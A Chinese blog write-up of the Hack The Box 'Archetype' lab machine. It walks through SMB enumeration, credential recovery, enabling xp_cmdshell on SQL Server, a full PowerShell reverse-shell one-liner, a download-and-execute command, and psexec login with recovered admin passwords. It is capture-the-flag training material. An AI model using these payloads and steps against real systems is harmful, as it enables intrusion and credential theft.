hack the box靶场archetype靶机

照常打开靶机,看第一个问题
在这里插入图片描述
问:主机上的数据库服务时TCP的哪个端口?
答案:1433.可以通过以下命令扫描得出结果

nmap -sV -Pn 10.129.239.163

在这里插入图片描述
第二个问题:
在这里插入图片描述
问:非管理员的共享的文件夹是什么?
答案:backups。这题是看了提示才知道,提示说可以使用-N -L查看文件夹就能知道了。使用以下命令查看

smbclient -N -L 10.129.239.163

在这里插入图片描述
其中以$结尾的文件夹,都是需要管理员权限的。
第三个问题:
在这里插入图片描述
问:smb共享文件夹中的文件上,可能的密码是什么?
答案:M3g4c0rp123
获取方式与dancing靶机相同,通过smbclient登录进backups文件夹后直接get后在本地打开即可。见下图
在这里插入图片描述
第四个问题
在这里插入图片描述
问题:可以使用impacket中的哪个脚本去建立与SQL Server的连接?
答案:mssqlclient.py。看了半天才反应过来impacket是一个工具,kali已经自带了。见下图
在这里插入图片描述
第五个问题:
在这里插入图片描述
问:通过什么能够获取到数据库中执行shell?
答案:xp_cmdshell。这是注入中经常遇到的。
第六个问题
在这里插入图片描述
问:可以通过什么脚本来搜索提升windows主机的权限?
答案:看了提示,搜了一下才知道是winPEAS。这是一个提权工具,github链接为:

https://github.com/carlospolop/PEASS-ng

tips:到了这个地方后面的解题思路应该比较明显了,通过数据库权限拿到shell然后通过shell去找flag。但是!具体的操作我不会,以下内容参考了网上很多内容,但是大家都没用到winpeas,后续我弄懂了后会重新出一个博客。以下解题思路参考网上各位大佬的。
第七个问题

问:哪个文件包含administrator的密码?
解决这个问题以及后面三个问题的步骤如下:
首先通过kali中自带的impacket-mssqlclient连接上sqlserver数据库,命令如下:

impacket-mssqlclient ARCHETYPE/sql_svc@10.129.195.229 -windows-auth

其中的ARCHETYPE/sql_svc是账户,10.129.195.229是目标主机的IP地址。
密码输入前面smb步骤中获取的密码,然后就能登录进数据库。
登录进数据库后,看下自己的权限

SELECT IS_SRVROLEMEMBER('sysadmin')

如果后面显示1,那么说明当前用户是有sysadmin权限的。以上步骤的截图如下:
在这里插入图片描述
接着要调用数据库的系统命令,获取xp_cmdshell
依次键入以下内容:

 EXEC sp_configure 'Show Advanced Options', 1;			\\使用sp_configure系统存储过程,设置服务器配置选项,将Show Advanced Options设置为1时,允许修改数据库的高级配置选项
 reconfigure;											\\确认上面的操作
 sp_configure;											\\查看当前sp_configure配置情况
 EXEC sp_configure 'xp_cmdshell', 1						\\使用sp_configure系存储过程,启用xp_cmdshell参数,来允许SQL Server调用操作系统命令
 reconfigure;											\\确认上面的操作
 xp_cmdshell "whoami" 									\\在靶机上调用cmdshell执行whoami

执行结束后,能看到当前操作系统的用户是archetype\sql_svc
在这里插入图片描述
到了这一步,我们就有了部分的os-shell,测试发现ifconfig不能执行,但是dir是能执行的,因此要一个完整的shell。
首先建立一个powershell的反向shell文件,命名为fs.ps1,注意其中的IP,这个IP是自己网卡拿到的IP,是自己的网卡拿到的IP,是自己网卡拿到的IP!内容如下

$client = New-Object System.Net.Sockets.TCPClient("10.10.16.59",4443);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + "# ";$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()

然后在这个文件夹下面运行一个http服务

python3 -m http.server 80

在这里插入图片描述
再打开一个新的窗口,使用nc监听一下4443端口

nc -lvnp 4443
-l 代表监听模式

-v 代表输出详细报告

-n 代表不执行DNS查询,如果使用的是域名就不能加入该参数

-p 指定端口号

在这里插入图片描述
接着在获取到的sql中执行以下命令,注意,这个地方的IP还是自己获取的,还是自己的IP,还是自己的IP!

xp_cmdshell "powershell "IEX (New-Object Net.WebClient).DownloadString(\"http://10.10.10.59/a.ps1\");""

同时能看到http服务以及nc中都有反应,有以下反应说明建立连接成功
在这里插入图片描述
在这里插入图片描述
如果nc那个地方一直不动,可以回车试试,如果回车后出现#号,那么说明已经获取到了shell。
(以上几步要是一直不成功,可以关闭防火墙,打开443端口试试。

ufw disable   //关闭防火墙
ufw allow 443  //开放443


获取到了shell后,直接命令访问如下文件,能拿到用户的key

type C:\Users\sql_svc\Desktop\user.txt

在这里插入图片描述

接着提权,这个地方是尝试看一下powershell的历史记录

type C:\Users\sql_svc\AppData\Roaming\Microsoft\Windows\PowerShell\PSReadline\ConsoleHost_history.txt

能拿到用户名以及密码,这个地方借用一下大佬的分析(来自于https://www.cnblogs.com/masses0x1/p/15780893.html)
在这里插入图片描述
既然已经拿到了用户名和密码,那么我们直接登录就行,使用

impacket-psexec administrator@10.129.11.85

密码就是MEGACORP_4dm1n!!。进去后,获取管理员flag

type C:\Users\Administrator\Desktop\root.txt

在这里插入图片描述
至此,解决了第七-九所有问题
在这里插入图片描述

做这题参考很多大佬们的文章,他们的解题思路如下:
https://blog.csdn.net/XXX26/article/details/118113329
https://blog.csdn.net/qq_45951598/article/details/115269502
https://blog.csdn.net/m0_48066270/article/details/108548784
https://www.cnblogs.com/masses0x1/p/15780893.html

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值